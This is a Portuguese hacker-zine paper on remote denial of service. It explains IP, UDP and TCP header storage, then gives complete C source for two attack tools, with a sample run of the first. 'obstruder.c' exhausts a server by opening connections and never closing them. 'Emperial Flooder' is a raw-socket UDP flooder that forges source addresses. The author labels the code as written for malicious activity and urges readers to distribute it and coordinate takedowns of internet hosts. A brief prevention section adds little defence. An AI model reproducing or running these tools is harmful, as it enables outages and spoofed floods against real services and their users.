u_char *titulo[]={
            
            "[=] + =================[####]================= + [=]\n",
            "      *** Amenizando Recusa de Servico Remota ***  \n",
            "         XxX   VIPER CORP GROUP  XxX\n",
            "          <-> Underground forever <->\n",
            "[=] + ================[####]================= + [=]\n\n"};

                 -----=[ A cena underground brasileira ]=-----


   

Autor :  --=[ 6_Bl4ck9_f0x6 ]=----
A.k.a : David Diego D. F. Siqueira 
Mail  : b-fox [at] bol [dot] com [dot] br 

                                  


----[ Requisitos para um bom entendimento e iniciando


Para um bom entendimento sobre o tema que este documento descreve, primeiramente voce
precisara entender um pouco sobre  programacao de socket em 'C' no windows  e *nix[1] 
(Este ultimo e opcional, apenas para  uma "melhor aprendizagem"), depois voce precisa 
ter uma base sobre o  Transmission Control Protocol  e modulos do 'TCP/IP'[2], porque 
veremos um codigo para exploracao em modulos 'TCP/IP'. Dedicarei este texto a 'Izarg' 
Phoenix of fire, Sandra, Maria Beatriz e Luzinha, elas sao lindas garotas do Brasil e 
sao muito importantes em minha vida; Enviarei tambem um grande fuck para todo sistema 
capitalista do Brasil (A 'TV' do "Brasil"). Grande abraco para o 'Edu', meu  amigo do 
blackhat-forums.com (O melhor forum do mundo!) e para 'MM technical' do istf.com.br . 
Tambem  nao  poderia esquecer do abraco do "Gramatical Boy" -> Str0ke ;) 



----[ Introducao 



Neste paper ensinarei como causar Recusa de Service Remota em algum daemon ou servico  
de qualquer host, porque se voce sabe  como causar, voce  sabera prevenir. Espero que 
voce goste deste texto e me envie muitos emails com comentarios e "evolucoes" tambem. 
Demonstrarei passo a passo  o  processo  em  uma  facil  linguagem  para  sua  melhor 
aprendizagem.


Iniciando a destruicao...


----[ Entendendo o armazenamento de dados em modulos do TCP/IP


Entao, quando o primeiro modulo no 'TCP/IP' recebe  um ethernet frame (eth0) ou dados 
atraves de um outro tipo de transferencia, ele salva  informacoes de origem  no layer 
(camada) Internet (Neste caso, porque os dados sao recebidos) como endereco de origem 
(Guarde isso em sua mente). Depois o fluxo de  dados segue para o proximo modulo, ate 
a Application layer (Camada de aplicacao) ler o payload enviado pelo cliente da cone-
xao. No processo de recebimento cada modulo salva dados  especificos e  envia o resto 
dos seguimentos do   pacote  para  modulo  acima,  ele  (O 'modulo') "apenas  podera"  
salvar/restaurar dados  referentes  a  ele. Em  uma facil forma de dizer: "Ele apenas 
pode ler alguns seguimentos do pacote". Os seguimentos  que ele (O primeiro 'modulo') 
nao pode ler, vao para a leitura no proximo modulo. Mostrarei um melhor exemplo. 



Header IP versao 4 
Definido em: /usr/include/netinet/ip.h no Linux Debian


     +---------------^-------------^--------------------------^------------------^
     |   - Versao -  |   - IHL -   | - ToS Tipo de servico -  | - Tamanho total- |
     |   [ Version ] |   [ IHL ]   |        [ ToS ]           |   [ tot_len ]    |
     |    [4 Bits]   |  [ 4 Bits ] |       [ 8 Bits ]         |    [16 Bits]     | 
     +---------------------------------------------------------------------------+
     |         - Identificacao -       |   -  Flags -   |     Fragment offset    |
     |        [ ID ]  [ 16 Bits ]      |   [ 3 bits ]   | [ frag_off ] [13 bits] | 
     +---------------------------------------------------------------------------+
     |  - Time to Live -  |     -  Protocolo -       | - Checksum do header IP - |            
     |  [ ttl ] [8 bits]  | [ Protocol ] [ 8 bits ]  |    [ check ] [16 bits]    | 
     +---------------------------------------------------------------------------+
     |                  - Endereco de origem (Source Address) -                  |
     |                        [ saddr ] [ 32 bits ]                              | 
     +---------------------------------------------------------------------------+
     |             -  Endereco de destinacao. (Destination Address) -            |
     |                         [ daddr ][ 32 bits ]                              |
     +---------------------------------------------------------------------------+
     |                     - Opcoes -             |         Padding              | 
     |                   [ 24 bits (Ui!) ]        |        [ 8 bits ]            |  
     +---------------------------------------------------------------------------+
     |                                                                           | 
     +                                 - DADOS -                                 +
     |                                                                           |
     +---------------------------------------------------------------------------+


struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ihl:4;
    unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
    unsigned int version:4;
    unsigned int ihl:4;
#else
# error  "Please fix <bits/endian.h>"
#endif
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
    /*The options start here. */
  };


Como voce pode ver acima, este cabecalho apenas pode ser lido pelo modulo "Internet" no 
modelo  'TCP/IP', porque  os  proximos  seguimentos nao sao  referentes  a ele, como os        
seguimentos UDP, que trazem porta de origem, porta de destino, etc. Veja o header UDP. 


Definido em: /usr/include/netinet/udp.h no debian linux


struct udphdr
{
  u_int16_t source;
  u_int16_t dest;
  u_int16_t len;
  u_int16_t check;
};


                ^-----------------------^-----------------------^
                |  - Porta de origem -  | - Porta de destino -  |             
                |      [source]         |       [dest]          |
                |     [ 16 bits ]       |     [ 16 bits ]       |
                +-----------------------+-----------------------+
                | - Tamanho do header - |    - checksum -       | 
                |        [len]          |      [check]          |
                |      [ 2 bytes ]      |     [ 2 bytes ]       |
                +-----------------------+-----------------------+
                |                                               |
                |                 -  Dados -                    | 
                |  (Explicacao com relacao ao tamanho adiante)  |
                |                                               |  
                +-----------------------------------------------+
         

Ainda podemos causar recusa de servico remota usando UDP, porque dados como endereco de 
origem precisam ser salvos para emissao de uma mensagem de erro ICMP, caso exista algum 
erro no modulo UDP, como por exemplo uma emissao de mensagem de  Port unreachable, caso 
nao aja nenhuma aplicacao  'escutando'  na   porta  local  especificada  no  seguimento 
"Destination Port" no pacote que a maquina local recebeu, mas normalmente  usando 'UDP'
voce podera causar  recusa de servico por "flood" e vai derrubar  a conexao da vitima e
nao apenas de  um determinado  servico, mas  isso  tambem depende  da velocidade de sua
conexao; Com o TCP nos podemos  facilmente prevenir  algum servidor de recever conexoes
de um cliente veridico. Veja agora o porque. 


----[ Entendendo tipos de socket


Entao amigos, agora e a hora de falar sobre esta coisa de "armazenar" dados. Eu disse que
dados como endereco de origem sao armazenados nos modulos e depois os dados/resto dos se-
guimentos seguem ate que o payload  possa ser  lido pelo  ultimo layer da pilha 'TCP/IP', 
agora  imagine o seguinte: Dados tambem possuem bytes (Claro). Sao esses bytes que usare-
mos para causar o DoS, podemos ate dizer que o kernel do sistema pode ser configurado pa-
ra armazenar determinado numero de bytes para cada conexao  "estabelecida". Tambem  disse 
que podemos causar DoS usando UDP, mas  para isto precisariamos  de um constante fluxo de 
dados, mas isso nao e inteligente porque poderiamos derrubar a conexao da vitima e tambem 
isto nao nos da uma certificacao de  que o daemon   sera "obstruido". Se  voce usar 'UDP' 
para causar  o DoS  que  este  texto  ensina, o  verdadeiro  cliente da  conexao  poderia 
enviar dados com um cliente TFTP por exemplo. Porque? Simples, veja este diagrama para um 
bom entendimento e continue a leitura, amigo:




                    [----------------------------]                                             
                    |     Application Layer      |                                           
                    |       Payload/Data         |                                          
        /\          [----------------------------]                                             
       /__\         |      Transport Layer       |                                                   
        ||          |     TCP - UDP - RAW   []------ > Tipos de socket                             
        ||          [----------------------------]                                             
        ||          | Internet Protocol Module   |                                                   
        ||          |      [network - OSI]       |                                            
        ||          |     [Internet TCP/IP]      |                                           
        ||          [----------------------------]                                            
        ||          |                       []------ > ARP - Addres Resolution Protocol          
        ||          |      Data Link (OSI)       | 
        ||          |[Access to network - TCP/IP]|                                            
        ||          [----------------------------]                          
        ||          |      Network interfaces    |
                    |     [ATN - TCP/IP model]   |                                     
   Data flood       |    [PHYSICAL - OSI model]  |                                                                                                                
                    +----------------------------+                                             
                                                                                        


Modulo UDP - User Datagram Protocol [SOCK_DGRAM]

Usando socket UDP, a pilha apenas armazena os seguimentos no layer "Internet" do modelo
'TCP/IP'. Depois que o modulo UDP  encontra a porta  requisitada em  escuta ele envia o 
payload para  o proxima  camada acima e o endereco  IP que estava  armazenado no modulo 
abaixo e destruido, mas se a porta nao  poder ser  achada, ele (O modulo UDP) envia uma 
mensagem de "Port unreachable" para quem enviou o pacote, o endereco IP do  cliente que 
o kernel  armazenou e entao  usado para  encontrar o endereco  de  origem  e  enviar  a 
mensagem ICMP de erro. Depois os dados que foram  armazenados sao  destruidos dentro do 
kernel local. Com  este  protocolo nao existe  espera por uma  resposta da aplicacao em 
execucao na maquina do lado do servidor, a.k.a: Vitima.



Modulo TCP - Transmission Control Protocol [SOCK_STREAM]

Com este tipo de socket nos esperamos uma resposta da aplicacao em execucao na maquina
da vitima, porque este tipo de socket e orientado  a conexao ("Socket conectado"). Ele
espera uma resposta do ultimo modulo e envia para o cliente, um  exemplo: Programas de
chat. Os dados armazenados no  kernel local referenciam o endereco e  porta no host da
cliente da conexao. Para este socket estabelecer alguma conexao e necessario armazenar
dados do cliente, porque ele precisa enviar respostas. Existe alguns servers que podem
ser configurados para  receber  apenas um  numero de conexoes  especifico, mas podemos 
configurar o limite de  conexoes  de  muitos  servers tambem. Quando nao existe limite 
para o armazenamento de dados, o server recebe dados ate causar o DoS - "na conexao da 
vitima".  


 
----[ O segredo vive aqui - Executando o D.o.S 


Entao, voce agora sabe que quando  estabelecemos uma  conexao  no kernel, tambem armazenamos
bytes em sua memoria, referente ao socket criado. Para cada  socket creado no kernel remoto,
tambem sao  armazenados bytes, para causar o DoS - Denial of Service, precisariamos  estabe-
lecer muitas conexoes  em  algum  servico em  execucao  na  vitima para  preencher  todo seu  
kernel, de bytes, ate que seu limite para sockets seja lotado, assim obstruindo o mesmo. Pa-
ra executar isso precisariamos apenas de uma  simples funcao  'connect()'  em uma rotina que 
executa muitas conexoes ao host remoto e que NAO FECHA ESTAS CONEXOES, ou seja, sem a funcao 
close(). Isso e simples, olhe a rotina que criei, abaixo.


----[ Prova de conceito escrita para atividades maliciosas (Versao em portugues)


-- obstruder.c -- 

/*
*                                                           
*         ========================================          
*         *  ++++++ CORPORACAO VIBORA ++++++     *            
*         * A cena Hacker Underground Brasileira *           
*         ========================================          
*                                                           
*           Obstrutor v1.5 - by 6_Bl4ck9_f0x6               
*          Para windows - Microsoft FTP Service              
* 
*         Dedico esse prog a minha amada DeboraH.
*         
*         ps: Por ser tao gostosa rsrsrs... 
*             Minha futura esposa rapaz! rs  
*                                                          
*/

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h> 

#define FUCK -1
#define CLEAR   memset (&(scan.sin_zero), 0x00, 0x08);

void banner (){
    
    int xct=0; 
    unsigned char *obstr1[]={
    "Obstrutor v1.5 - Obstrutor de servico[s]",
    "6_Bl4ck9_f0x6  - (C) Copyright Viper Corp",
    "                 Microsoft FTP Service.\n"}; 
    while (xct != 3){
    puts (obstr1[xct]);
    xct+=1;}
}

  
WSADATA data;
SOCKADDR_IN scan;
int conexoes, cctc;
struct hostent *host;
char choice, rcv[1500];

void obstrud (void){
     
     int obstrui=1;
     int sock[conexoes];
     
     while (obstrui != conexoes){     
     sock[obstrui]=socket (PF_INET, 1, 0);
   
     if ((cctc=connect (sock[obstrui], (struct sockaddr *)&scan, 16)) 
     == FUCK ){
     if (obstrui == 1){
     fprintf (stderr, "Porta [%d] fechada\n", ntohs (scan.sin_port));
     exit (FUCK);}
     break;}
    
     else if (cctc != -1){
     memset (&(rcv), 0x00, sizeof (rcv));
     recv (sock[obstrui], rcv, sizeof (rcv) -1, 0);     
     if (strncmp (rcv, "421 5", 5) == 0){
     printf ("\n    [Limite de conexoes alcancado]\n\n");
     break;} }
     
     system ("cls");
     fprintf (stdout, "[%d] Conexoes estabelecidas na porta [%d]\n", 
     obstrui, ntohs (scan.sin_port));
     ++obstrui;
 }    
}    
main (int argc, char **argv){
     
     if (argc != 4){
     system ("cls");
     banner ();
     fprintf (stdout, "Uso: %s <Vitima> <Port> <num_conections>\n", 
     *(argv+0));
     exit (FUCK);}
     
     WSAStartup (MAKEWORD (1,1),&data);
     scan.sin_family=AF_INET;
     scan.sin_port=htons (atoi (*(argv+2)) );
     
     if ((scan.sin_addr.s_addr=inet_addr (*(argv+1))) == INADDR_NONE){
     if ( (host=gethostbyname (*(argv+1))) == NULL){
     fprintf (stderr, "Nao consegui resolver host!\n");
     exit SOCKET_ERROR;}     
     memcpy (&(scan.sin_addr.s_addr), host->h_addr, host->h_length);
     
     }
     CLEAR
     
     conexoes = atoi (*(argv+3));
     obstrud ();
     do {
     printf ("\n=======================================\n");   
     puts ("[Servico obstruido com sucesso!]");
     puts ("[Se quizer liberar o servico tecle 'l']");
     printf ("=======================================\n");
     system ("color 02");
     choice=getch ();} 
     while (choice != 'l');
     return 0;
}        

-- cut -- 


Primeiro passo


Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>call Obstruder.exe


Segundo passo 


Obstrutor v1.5 - Obstrutor de servico[s]
6_Bl4ck9_f0x6  - (C) Copyright Viper Corp
                 Microsoft FTP Service.

Uso: Obstruder.exe <Vitima> <Port> <num_conections>

C:\Documents and Settings\David>call Obstruder.exe localhost 22 23


O resultado final e:


[20] Conexoes estabelecidas na porta [22]

    [Limite de conexoes alcancado]


=======================================
[Servico obstruido com sucesso!]
[Se quizer liberar o servico tecle 'l']
======================================= 

Traducao em ingles: 

twenty connections establisheds in the port 22 


Neste caso a porta vinte e dois e a porta que meu servico ftp esta usando.
 


Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>ftp
ftp> open
Para localhost 22
Conectado a Violator.
421 5
Conexão terminada pelo host remoto.
ftp>


Voce pode adaptar  meu programa para qualquer servico e tambem pode  usar esta versao
em um outro  servico, mas voce nao tera certificacao  de que o  programa teve sucesso
se usar o mesmo em outros  servicos e/ou  daemons. Para ver "screenshots" de meu pro-
grama e saber mais a respeito do mesmo, procure por informacoes no blackhat-forums[3] 
ou na proxima edicao de minha e-zine (C.O.D.E[4]).



----[ Prevencao

A melhor forma de prevencao e nao limitar o numero de conexoes que  o server pode receber, e 
limitar o timeout do daemon/servico, mas esta ultima opcao  seria  facilmente contornada com 
a utilizacao de um fluxo constante, sem contar que isso nao e muito viavel por razoes obvias. 
Este metodo previne a  obstrucao de algum  servico/daemon. Tambem e bom  voce comprar muitos 
modulos de memoria para previnir queda de seu host, causada por "flood" ou Recusa de Servico 
Distribuida em sua rede, porque quando os programas slaves recebem a ordem do(s) programa(s) 
master(s), eles enviam  muitos pacotes para algum porta em seu host (elas nao precisam estar 
em escuta), e se voce nao tiver muita memoria e lagura de banda disponivel, sua maquina pode 
ser derrubada. Este ataque (DDoS) trabalha  explorando  recursos da  sua maquina, como  a ja  
citada  "memory" e largura de banda. Se voce nao tiver a  porta requerida  pelos slaves, sua 
maquina tambem trabalhara, porque ela envia resposta de 'Echo (ping) reply'(ICMP echo reply) 
no caso de requerimento ICMP, por exemplo.


Log's interceptados pelo sniffer Ethereal:


   +--------------------+------------+-----------------+---------+-------------------+
   |No. |   Time        |   Source   |   Destination   |Protocol |Info               |  
   +--------------------+------------+-----------------+---------+-------------------+
   | 3  |  7.391731     |192.168.1.2 |  192.168.1.1    |  ICMP   |Echo (ping) request|
   +----+---------------+------------+-----------------+---------+-------------------+
   | 4  +  7.391770     |192.168.1.1 |  192.168.1.2    |  ICMP   |Echo (ping) reply  |
   +----+---------------+------------+-----------------+---------+-------------------+


Como voce pode ver minha maquina  tambem  trabalha quando nao  existe  a porta  requerida em
escuta. Neste caso voce tambem precisara configurar seus firewalls para nao enviar respostas
'ICMP', assim a maquina nao trabalha, "muito" ;) Quando voce faz esta configuracao voce esta
tambem prevenindo ataques do tipo smurf que envia pacotes do tipo ICMP 'Echo (ping) request'
para enderecos de broadcast de muitas redes com o endereco de  origem  forjado  para parecer
que a requisicao esta partindo de algum inimigo seu, a vitima. Assim  eles (As maquinas) re-
tornam pacotes de resposta para o endereco IP da vitima ou  vitimas. Respostas 'ICMP' tambem
sao enviadas como resposta para um requerimento UDP ou 'TCP', e isso tambem consome recursos 
de seu sistema, porque sua maquina envia respostas. Olhe este programa  abaixo como prova de 
conceito. Compile e distribua o mesmo para seus amigos e faca grid para  derrubar alguma ma-
quina na internet. Com ele voce ainda pode escolher o endereco de origem };P



-- cut this file here -- 

/*
*
*          =======================================
*             ++++++ CORPORACAO VIBORA ++++++
*           A cena Hacker Underground Brasileira 
*          =======================================
* 
*                Emperial Flooder[UDP] v2.1.1
*               for "Unix/Linux" users rulez!
*
*
*          Simple UDP Flooder coded by 6_Bl4ck9_f0x6
*         
*          Thanks to: UnixTextMode(UTM), VonNaturAustreVe,
*          @lyxx, Reeves, Deborah, Mina Mistery, Morticia, 
*          Marcos Flavio, #phobia, Smurf Criminal_s, N1N4, 
*          Hash, Violador and all guys from thebuggers.in 
*
*          **********************************************
*                 http://www.thebuggers.in 
*          **********************************************
*                 Excelent Underground forum
*          **********************************************
*          
*          Especial thanks to: 
*           
*          All members Viper Corp Group.
*
*/

#include <stdio.h>                          // fprintf e tals.
#include <errno.h>                          // Library p/ checagem de erros.
#include <netdb.h>                          // struct hostent e functions...
#include <stdlib.h>                         // exit (), system () e tals.  
#include <string.h>                         // bzero (), memcpy() e tals.
#include <unistd.h>                         // getuid (), close () e tals.
#include <arpa/inet.h>                      // inet_addr e tals.
#include <sys/types.h>                      // Neste header ficam shemales oO 
#include <sys/socket.h>                     // sendto () e tals.
#include <netinet/in.h>                     // struct sockaddr_in, htons () e tals.
#include <netinet/ip.h>                     // struct iphdr e tals.
#include <netinet/udp.h>                    // struct udphdr e tals.

#define MAXIMUM_TRANSMISSION_UNIT 1500
#define PRINT printf 

struct iphdr ip_rlz;
struct udphdr udp_rlz;
struct sockaddr_in Vitima;
struct hostent *host;

typedef unsigned char Viper_Corp_Rulez; 

Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT];

int SoCk, uid=0, indice=0, msg_s=0, 
    XSS, x=1, bytes_send;

char *   ip_origeM;         
char *   ip_destinO;
int      port_origeM;
int      port_destinO;
   
void send_UDP ();

int banner ();

int main (int argc_rulez, char *Matrix[]){
    
   if (argc_rulez < 7){
   banner ();
   fprintf (stdout, "\nUso: %s <IP_Spoof> <Vitima> <Port_origem> <Port_Destino>\
 <msg> <num_msgs>\n\n", *Matrix);
    exit (-1);}

   uid=getuid ();
   if (uid != 0){
   fprintf (stderr, "   \n[Seu UID eh [%d], voce deve ser root para\
 usar Raw Socket]\n\n", uid);
   exit (-1);} 
   
   if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){
   fprintf (stdout, "Erro ao criar socket\n");
   exit (-1);}


   int num_msg_s;
   num_msg_s=atoi (Matrix[6]);
   ip_origeM=Matrix[1];            
   ip_destinO=Matrix[2];
   port_origeM=atoi   (Matrix[3]);
   port_destinO=atoi  (Matrix[4]);
   char *msg;msg=Matrix[5];
   
   bzero (pacote, MAXIMUM_TRANSMISSION_UNIT);   
  
  ip_rlz.version=4;
  ip_rlz.ihl=5;
  ip_rlz.tos=0;
  ip_rlz.id=htons (666);  
  ip_rlz.ttl=255;
  ip_rlz.frag_off=0;
  ip_rlz.check=0;
  ip_rlz.protocol=IPPROTO_UDP;
  ip_rlz.saddr=inet_addr (ip_origeM);
  ip_rlz.daddr=inet_addr (ip_destinO);  
  ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
strlen (msg));   
    
  udp_rlz.dest=htons (port_destinO);  
  udp_rlz.source=htons (port_origeM);
  udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg));
   
  Vitima.sin_family=AF_INET;
  Vitima.sin_port=udp_rlz.dest;
  Vitima.sin_addr.s_addr=ip_rlz.daddr;
  
  memcpy (&pacote, &ip_rlz, sizeof (struct iphdr));
  indice=indice + sizeof (struct iphdr);
  memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr));
  indice+= sizeof (udp_rlz);
  memcpy (&pacote[indice], msg, strlen (msg));
  indice+= strlen (msg);

   for (x;x <= atoi (Matrix[6]);x+=1){  
   send_UDP (); 
   msg_s++;}
   
  close (SoCk);
  PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n");
  PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s));
  PRINT ("----------------------------------------\n");
  return (0);
} 

void send_UDP (){ 

  if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima, 
sizeof (struct sockaddr_in)) ) == -1){
  fprintf (stdout, "%s", strerror (errno));
  exit (-1);}
    
}

int banner (){

     int cOc=0;
     system ("clear");
    
     char *banner[]={
            
       "[=] + ===========[####]============ + [=]\n",
       "      *** Emperial Flooder[UDP] ***  \n",
       "      XxX   VIPER CORP GROUP  XxX\n",
       "        <-> Underground Max <->\n",
       "[=] + ==========[####]============ + [=]\n\n"};
     
     while (cOc != 5){
     printf ("%s", banner[cOc]);
     ++cOc;}
     return 0;}


-- cut here -- 


----[ Useful links


Berkeley Socket in C for *nixes e Linuxes 
    [1] - http://www.hunterhacker.xpg.com.br/socket_ohhh_yes.txt

Understanding a little about OSI and TCP/IP models
    [2] - http://www.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt

Get screenshots of the Obstruder in action
    [3] - http://www.blackhat-forums.com/

My e-zine (C.O.D.E). Written in my time of adolescent (actually ;)    
    [4] - http://www.hunterhacker.xpg.com.br/CODEx02.txt


----[ Conclusao 

Que meus sonhos nao sejam apenas ilusoes, que minha vida nao seja sombras e que ela 
continue olhando por mim de qualquer lugar. O romance apenas existe na distancia...


[]`s

by 

6_Bl4ck9_f0x6 - Viper Corp Group